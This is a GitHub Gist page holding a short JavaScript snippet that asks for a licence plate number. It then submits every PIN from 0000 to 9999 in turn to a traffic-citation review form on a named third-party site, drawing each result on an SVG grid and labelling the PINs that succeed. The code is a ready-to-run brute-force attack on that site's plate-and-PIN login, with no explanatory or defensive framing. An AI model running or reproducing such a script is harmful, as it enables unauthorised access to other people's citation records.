Skip to content

Instantly share code, notes, and snippets.

@felipeandres254
Last active January 8, 2020 00:55
Show Gist options
  • Save felipeandres254/38a6bdc05aaa5ba85c662c577d53b0d9 to your computer and use it in GitHub Desktop.
Save felipeandres254/38a6bdc05aaa5ba85c662c577d53b0d9 to your computer and use it in GitHub Desktop.
(() => {
var plate = ''
while (!plate) plate = prompt('Insert your plate number:');
console.clear()
document.body.innerHTML = '<svg viewBox="0 0 600 600"></svg>'
Object.assign(document.body.style, {
width: '100vw', height: '100vh', margin: 0, padding: 0, background: '#000000',
position: 'fixed', top: 0, right: 0, bottom: 0, left: 0, overflow: 'hidden',
})
Object.assign(document.querySelector('svg').style, {
width: '90vw', height: '90vh', position: 'absolute', top: '50%', left: '50%', transform: 'translate(-50%, -50%)',
})
Array.from(Array(10000).keys()).reduce((chain, current) => {
var pin = (current+10000).toString().substring(1)
return chain.then(() => new Promise(resolve => {
var xhr = new XMLHttpRequest()
xhr.open('POST', 'https://procesar.zerofatality.com/vps/cgi/VP/citation_review', true)
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
xhr.onreadystatechange = () => {
if (xhr.readyState==4 && xhr.status==200) {
var svg = document.querySelector('svg')
var x = 6*parseInt(pin.substr(2, 2), 10)
var y = 6*parseInt(pin.substr(0, 2), 10)
var rect = document.createElementNS('http://www.w3.org/2000/svg', 'rect')
rect.setAttributeNS(null, 'x', x)
rect.setAttributeNS(null, 'y', y)
rect.setAttributeNS(null, 'width', 5)
rect.setAttributeNS(null, 'height', 5)
if (/invalid plate or pin/i.test(xhr.responseText)) {
rect.setAttributeNS(null, 'fill', '#880000')
} else {
rect.setAttributeNS(null, 'fill', '#008800')
var title = document.createElementNS('http://www.w3.org/2000/svg', 'title')
title.innerHTML = pin
rect.appendChild(title)
}
svg.appendChild(rect)
resolve(true)
}
}
xhr.send(`number=${plate}&pin_code=${pin}`)
}))
}, Promise.resolve())
})()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment